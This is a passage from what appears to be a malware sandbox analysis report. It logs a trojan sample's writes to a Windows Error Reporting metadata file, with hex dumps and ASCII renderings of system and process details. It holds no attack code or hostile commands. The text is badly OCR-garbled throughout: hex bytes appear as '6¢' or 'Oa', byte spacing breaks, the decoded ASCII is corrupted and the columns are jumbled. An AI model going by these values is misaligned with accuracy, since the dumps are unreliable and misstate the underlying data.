ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 44

unknown 4

unknown 2

unknown 82

unknown 4

unknown 2

unknown 40

unknown 4

unknown 2

unknown 82

unknown 4

unknown 2

unknown 62

unknown 4

unknown 2

Length Value

3c 00 4f 00 53 00 56
00 65 00 72 00 73 00
69 00 6f 00 6e 00 49
00 6e 00 66 00 6f 00
72 00 6d 00 61 00 74
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3c 00 57 00 69 00 6e
00 64 00 6f 00 77 00
73 00 4e 00 54 00 56
00 65 00 72 00 73 00
69 00 6f 00 6e 00 3e
00 31 00 30 00 2e 00
30 00 3c 00 2f 00 57
00 69 00 6e 00 64 00
6f 00 77 00 73 00 4e
00 54 00 56 00 65 00
72 00 73 00 69 00 6f
00 6e 00 3e 00

0d 00 0a 00

09 00

3c 0042 00 75 00 69
00 6¢ 00 64 00 3e 00
31003700 310033
00 34 00 3c 00 2f 00
4200 75 00 69 00 6¢
00 64 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 64 00 75 00 63 00
74 00 3e 00 28 00 30
00 78 00 33 00 30 00
29 00 3a 00 20 00 57
00 69 00 6e 00 64 00
6f 00 77 00 73 00 20
00 31 00 30 00 20 00
50 00 72 00 6f 00 3¢
00 2f 00 50 00 72 00
6f 00 64 00 75 00 63
00 74 00 3e 00

0d 00 0a 00

09 00

3c 00 45 00 64 00 69
00 74 00 69 00 6f 00
6e 00 3e 00 50 00 72
00 6f 00 66 00 65 00
7300 73 00 69 00 6f
00 6e 00 61 00 6¢ 00
3c 00 2f 00 45 00 64
00 69 00 74 00 69 00
6f 00 6e 00 3e 00

0d 00 0a 00

09 00

Ascii Completion Count
<.0.S.V.ers.i.o.nlnfo.r. success or wait 1
m.a.t.i.o.n.>.
success or wait 1
success or wait 2
<W.i.n.d.o.w.s.N.T.V.e.r.s. success or wait 1
i.0.n.>.1.0...0.
<./.W.i.n.d.o.w.
s.N.T.V.e.r.s.i.o.n.>.
success or wait 1
success or wait 2
<.B.u.i.l.d.>.1.7.1.3.4.<./.B. success or wait 1
wild.>.
success or wait 1
success or wait 2
<.P.r.o.d.u.c.t.>.(.0.x.3.0.). success or wait 1
. .W.i.n.d.ow.s. .1.0. .P.r.
o0.<./P.ro.d.u.c.t>.
success or wait 1
success or wait 2
<.E.d.tio.n>P.r.o.fes. success orwait 1
s..o.n.al.</E.d.itio.n.>.
success or wait 1
success or wait 2

Source
Address

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

6E25497A

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 134

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length Value

44

4

2

64

46

3c 0042 00 75 00 69
00 6¢ 00 64 00 53 00
7400 72 00 69 00 6e
00 67 00 3e 00 31 00
37 0031003300 34
00 2e 00 31 00 2e 00
61 00 6d 00 64 00 36
00 34 00 66 00 72 00
65 00 2e 00 72 00 73
00 34 00 5f 00 72 00
65 00 6¢ 00 65 00 61
00 73 00 65 00 2e 00
31 00 38 00 30 00 34
00 31 00 30 00 2d 00
31 00 38 00 30 00 34
00 3c 00 2f 00 42 00
7500 69 00 6¢ 00 64
0053 00 74 00 72 00
69 00 6e 00 67 00 3e
00

0d 00 0a 00

09 00

3c 00 52 00 65 00 76
00 69 00 73 00 69 00
6f 00 6e 00 3e 00 31
00 3c 00 2f 00 52 00
65 00 76 00 69 00 73
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3c 00 46 00 6¢ 00 61
00 76 00 6f 00 72 00
3e 00 4d 00 75 00 6¢
00 74 00 69 00 70 00
72 00 6f 00 63 00 65
00 73 00 73 00 6f 00
7200 2000 46 00 72
00 65 00 65 00 3c 00
2f 00 46 00 6¢ 00 61
00 76 00 6f 00 72 00
3e 00

0d 00 0a 00

09 00

3c 0041 00 72 00 63
00 68 00 69 00 74 00
65 00 63 00 74 00 75
00 72 00 65 00 3e 00
58 00 36 00 34 00 3c
00 2f 00 41 00 72 00
63 00 68 00 69 00 74
00 65 00 63 00 74 00
7500 72 00 65 00 3e
00

0d 00 0a 00

09 00

3c 00 4c 00 43 00 49
00 44 00 3e 00 31 00
30 00 33 00 33 00 3c
00 2f 00 4c 00 43 00
49 00 44 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 4f 00 53
00 56 00 65 00 72 00
7300 69 00 6f 00 6e
00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00
6e 00 3e 00

Ascii
<.B.u.ild.S.trin.g.>.1.7.
1.34.1.am.d.6.4fre..
rs.4._rele.as.e..1.8.0.
4.1.0.-.1.8.0.4.<./.B.u.i.L.d.
S.trin.g.>.

<.R.e.w.s.io.n>1</R.e.

v.i.s.i.o.n>.

<.F.lLav.o.r>.M.u.l.tip.r.
o.c.e.s.s.o.r. .F.re.e</F.
l.a.v.o.r>.

<Ar.c.hite.c.ture>X.
6.4.</Ar.c.hite.ctu.r.
e.>.

<.L.C.1.D.>.1.0.3.3.
<./.L.C.L.D.>.

<./.0.8.V.errs..o.n.l.nfo.
rm.a.ti.o.n.>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Address

1

1

2

1

Source
Symbol

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown
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File Path Offset
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERBD85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERBD85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 30
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2

ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 146

ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERBD85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 90
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERBD85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 42
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2

ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

Copyright null 2021

Length Value

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
73 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 69 00 64
00 3e 00 37 00 31 00
34 00 30 00 3c 00 2f
00 50 00 69 00 64 00
3e 00

0d 00 0a 00

09 00

3c 00 49 00 6d 00 61
00 67 00 65 00 4e 00
61 00 6d 00 65 00 3e
00 53 00 65 00 63 00
75007200 69 00 74
00 65 00 49 00 6e 00
66 00 6f 00 2e 00 63
00 6f 00 6d 00 2e 00
54 00 72 00 6f 00 6a
00 61 00 6e 00 2e 00
47 00 65 00 6e 00 65
00 72 00 69 00 63 00
4b 00 44 00 5a 00 2e
00 37 00 33 00 31 00
3200 34 00 2e 00 31
00 39 00 31 00 37 00
30 00 2e 00 65 00 78
00 65 00 3c 00 2f 00
49 00 6d 00 61 00 67
00 65 00 4e 00 61 00
6d 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 43 00 6d 00 64
00 4c 00 69 00 6e 00
65 00 53 00 69 00 67
00 6e 00 61 00 74 00
7500 72 00 65 00 3e
00 30 00 30 00 30 00
30 00 30 00 30 00 30
00 30 00 3c 00 2f 00
4300 6d 00 64 00 4c
00 69 00 6e 00 65 00
53 00 69 00 67 00 6e
00 61 00 74 00 75 00
7200 65 00 3e 00

0d 00 0a 00

09 00

3c 00 55 00 70 00 74
00 69 00 6d 00 65 00
3e 00 36 00 33 00 34
00 39 00 3c 00 2f 00
5500 70 00 74 00 69
00 6d 00 65 00 3e 00

0d 00 0a 00

09 00

Source

Ascii Completion Count Address Symbol
success or wait 1 6E25497A unknown
success or wait 1 6E25497A unknown

<.P.ro.c.e.s.s.l.nf.o.orm.a. success or wait 1 6E25497A unknown

tio.n.>.
success or wait 1 6E25497A unknown
success or wait 2 6E25497A unknown
<.P.i.d.>.7.1.4.0.<./.P.i.d.>. success or wait 1 6E25497A unknown
success or wait 1 6E25497A unknown
success or wait 2 6E25497A unknown
<..m.a.g.e.N.a.m.e.>.S.e.c success or wait 1 6E25497A unknown

.urite.lnfo..com..Tr.

o.j.a.n..G.e.n.e.r.i.c.K.D.Z.

.7.31.2.4..1.9.1.7.0...e.x.

e.</.Im.a.g.e.N.am.e.>.
success or wait 1 6E25497A unknown
success or wait 2 6E25497A unknown

<.C.m.d.L.i.n.e.S.i.g.n.a.t.u success or wait 1 6E25497A unknown

.r.e.>.0.0.0.0.0.0.0.0.

<./.C.m.

d.L.i.n.e.S.i.g.n.ature>.
success or wait 1 6E25497A unknown
success or wait 2 6E25497A unknown

<.U.p.ti.m.e.>.6.3.4.9. success or wait 1 6E25497A unknown

</.Up.tim.e.>.
success or wait 1 6E25497A unknown
success or wait 2 6E25497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 82

unknown 4

unknown 2

unknown 52

unknown 4

unknown 2

unknown 44

unknown 4

unknown 2

unknown 86

unknown 4

unknown 2

unknown 70

unknown 4

unknown 2

unknown 74

Length Value

3c 00 57 00 6f 00 77
00 36 00 34 00 20 00
67 00 75 00 65 00 73
00 74 00 3d 00 22 00
33 003300320022
00 20 00 68 00 6f 00
7300 74 00 3d 00 22
00 33 00 34 00 34 00
30 00 34 00 22 00 3e
00 31 00 3c 00 2f 00
57 00 6f 00 77 00 36
00 34 00 3e 00

0d 00 0a 00

09 00

3c 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00 30 00 3c 00
2f 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 56 00 6d 00 49
00 6e 00 66 00 6f 00
72 00 6d 00 61 00 74
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3c 00 50 00 65 00 61
00 6b 00 56 00 69 00
7200 74 00 75 00 61
00 6¢ 00 53 00 69 00
7a 00 65 00 3e 00 39
00 36 00 30 00 38 00
38 00 30 00 36 00 34
00 3c 00 2f 00 50 00
65 00 61 00 6b 00 56
00 69 00 72 00 74 00
7500 61 00 6¢ 00 53
00 69 00 7a 00 65 00
3e 00

0d 00 0a 00

09 00

3¢ 00 56 00 69 00 72
00 74 00 75 00 61 00
6¢ 00 53 00 69 00 7a
00 65 00 3e 00 39 00
36 00 30 00 38 00 38
00 30 00 36 00 34 00
3c 00 2f 00 56 00 69
00 72 00 74 00 75 00
61 00 6¢ 00 53 00 69
00 7a 00 65 00 3e 00

0d 00 0a 00

09 00

3¢ 00 50 00 61 00 67
00 65 00 46 00 61 00
7500 6¢ 00 74 00 43
00 6f 00 75 00 6e 00
7400 3e 00 33 00 37
00 31 00 33 00 3c 00
2f 00 50 00 61 00 67
00 65 00 46 00 61 00
7500 6¢ 00 74 00 43
00 6f 00 75 00 6e 00
74 00 3e 00

Ascii Completion

<W.o.w.6.4. success or wait
4.4.04.">.1.

<./W.o.w.6.4.>.

success or wait

success or wait

<.l.p.t.E.n.a.b.l.e.d.>.0.<./. success or wait
l.p.t.E.n.a.b.l.e.d.>.

success or wait

success or wait

<.P.ro.c.e.s.s.V.m.L.n.f.o.r. success or wait
m.a.t.i.o.n.>.

success or wait

success or wait

<.P.eak.\V.irtualS.iz success orwait
e.>.9.6.0.8.8.0.6.4.
<./.P.e.a.

k.\VirtualS.ize>.

success or wait

success or wait

<.\VirtualS.iz.e>96. success orwait
0.8.8.0.6.4.<./.V.i.rtu.a.l.

S.i.z.e>.

success or wait

success or wait

<.P.a.g.e.F.a.u.l.t.C.o.u.n.t. success or wait
>.3.7.1.3.

<./.P.a.g.e.F.a.u.l.

t.C.o.u.n.t.>.

Source

Count Address Symbol

1

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 98 3c 005000650061 <.P.e.a.kW.o.rk.in.g.S.e.t success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 00 6b 00 57 00 6f00 .S.i.z.e.>.1.3.9.5.0.9.7.6.

7200 6b 0069 00 6e <./
00670053006500 P.eakW.o.rkings.etsS
7400530069007a .i.z.e.>.
00 65 00 3e 00 31 00

33 00 39 00 35 00 30

00 39 00 37 00 36 00

3c 00 2f 00 50 00 65

00 61 00 6b 00 57 00

6f 00 72 00 6b 00 69

00 6e 00 67 00 53 00

65 00 74 00 53 00 69

00 7a 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait g 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 82 3c0057006f0072 <.W.o.rk.in.g.S.etS.i.z.e. success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 00 6b 00 69 00 6e 00 >.1.3.9.5.0.9.7.6.

67 005300650074 <./W.o.rk.
00530069007a00 in.g.S.etS.ize>.
65 00 3e 00 31 00 33

00 39 00 35 00 30 00

39 00 37 00 36 00 3c

00 2f 00 57 00 6f 00

72 00 6b 00 69 00 6e

00 67 00 53 00 65 00

7400 53 00 69 00 7a

00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait g 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 114 3c00510075006f <.Q.u.o.ta.P.eak.P.a.g.e. success orwait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 0074 0061005000 d.

65006100 6b0050 P.o.0lUs.a.g.e>1.75.9.
00610067 006500 0.4.

64 00 50 00 6f 00 6f <./.Q.u.0.t.a.P.e.ak.P.ag.
006c 0055007300 e.d.P.o.o.l.lUs.ag.e.>.

61 00 67 00 65 00 3e

00 31 00 37 00 35 00

39 00 30 00 34 00 3c

00 2f 00 51 00 75 00

6f 00 74 00 61 00 50

00 65 00 61 00 6b 00

50 00 61 00 67 00 65

00 64 00 50 00 6f 00

6f 00 6¢ 00 55 00 73

00 61 00 67 00 65 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 98 3c00510075006f <.Q.u.o.ta.P.a.g.e.d.P.o.0o. success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 00740061005000 lU.s.a.g.e.>.1.7.5.6.8.0.

6100 67 00 650064 <./.Q.
00 50 00 6f 00 6f 00 6¢ u.o.t.a.P.a.g.e.d.P.o.0.l.U.s
00550073006100 .a.g.e.>.
67 00 65 00 3e 00 31

00 37 00 35 00 36 00

38 00 30 00 3c 00 2f

00 51 00 75 00 6f 00

7400 61 00 50 00 61

00 67 00 65 00 64 00

50 00 6f 00 6f 00 6¢

00 55 00 73 00 61 00

67 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 124 3c00510075006f <.Q.u.o.t.a.P.e.a.k.N.o.n.P. success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 00740061005000 a.

6500 61 00 6b 00 4e g.e.d.P.o.0.l.U.s.a.g.e.>.6.
00 6f 00 6e 0050 00  8.2.4.0.

6100 67 00 6500 64 <./.Q.u.0.t.a.P.e.ak.N.

00 50 00 6f 00 6f00  o.n.P.a.g.e.d.P.o.0.l.U.s.a.
6c 005500730061 g.e>.

00 67 00 65 00 3e 00

36 00 38 00 32 00 34

00 30 00 3c 00 2f 00

51 00 75 00 6f 00 74

00 61 00 50 00 65 00

61 00 6b 00 4e 00 6f

00 6e 00 50 00 61 00

67 00 65 00 64 00 50

00 6f 00 6f 00 6¢ 00

5500 73 00 61 00 67

00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 108 3c00510075006f <.Q.u.o.t.a.N.o.n.P.a.g.e.d. success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 00740061004e00 P.

6f 00 6e 00 50 00 61  0.0..U.s.a.g.e.>.6.8.2.4.0.
0067 00 65006400 <.

50 00 6f 00 6f 00 6c  /.Q.u.o.t.a.N.o.n.P.a.g.e.d.
00550073006100 P.o.0.lUs.ag.e>.

67 00 65 00 3e 00 36

00 38 00 32 00 34 00

30 00 3c 00 2f 00 51

00 75 00 6f 00 74 00

61 00 4e 00 6f 00 6e

00 50 00 61 00 67 00

65 00 64 00 50 00 6f

00 6f 00 6¢ 00 55 00

7300 61 00 67 00 65

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 76 3c 005000610067 <.P.ag.e.fileU.s.ag.e> successorwait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 00650066 006900 7.5.8.1.6.9.6.<./.P.a.g.e.f.i.

6c 006500550073 leU.s.a.g.e>.
00 61 00 67 00 65 00

3e 00 37 00 35 00 38

00 31 00 36 00 39 00

36 00 3c 00 2f 00 50

00 61 00 67 00 65 00

66 00 69 00 6¢ 00 65

00 55 00 73 00 61 00

67 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 92 3c 005000650061 <.P.e.ak.P.ag.ef.ileU.s. success orwait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 00 6b 0050006100 a.g.e.>.7.5.8.1.6.9.6.

67 00 6500 66 0069 <./.P.e.

00 6c 00 65005500 ak.P.a.g.e.file.U.s.ag.e.
73 006100670065 >.

00 3e 00 37 00 35 00

3800 31 00 36 00 39

00 36 00 3c 00 2f 00

50 00 65 00 61 00 6b

00 50 00 61 00 67 00

65 00 66 00 69 00 6¢

00 65 00 55 00 73 00

61 00 67 00 65 00 3e

00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6E25497A unknown

ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml

Copyright null 2021 Page 111 of 245



Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 72 3c005000720069 <.P.rivate.U.s.a.g.e.>7. success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 00760061007400 5.8.1.6.9.6.</.P.r.iv.ate.

65005500730061 U.s.a.g.e.>.
00 67 00 65 00 3e 00
37 0035003800 31
00 36 00 39 00 36 00
3c 00 2f 00 50 00 72
00 69 00 76 00 61 00

74 00 65 00 55 00 73

00 61 00 67 00 65 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 46 3c002f00500072 <./.P.r.o.ce.s.s.V.m.l.n.f.o. success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 00 6f00 63 006500 r.m.a.t.i.o.n.>.

7300 73 00 56 00 6d

00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00

6e 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 30 3c005000610072 <.P.ar.e.n.tP.r.o.c.e.s.s.> success orwait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 00 65 00 6e 00 74 00

50 00 72 00 6f 00 63
00 65 00 73 00 73 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40 3c 005000 72006f <.P.r.o.c.e.s.s.lnform.a. success orwait 1 6E25497A unknown
ws\WER\Temp\WERBDS85.tmp.WERInternalMetadata.xml 0063 0065007300 t.i.o.n.>.

73 00 49 00 6e 00 66
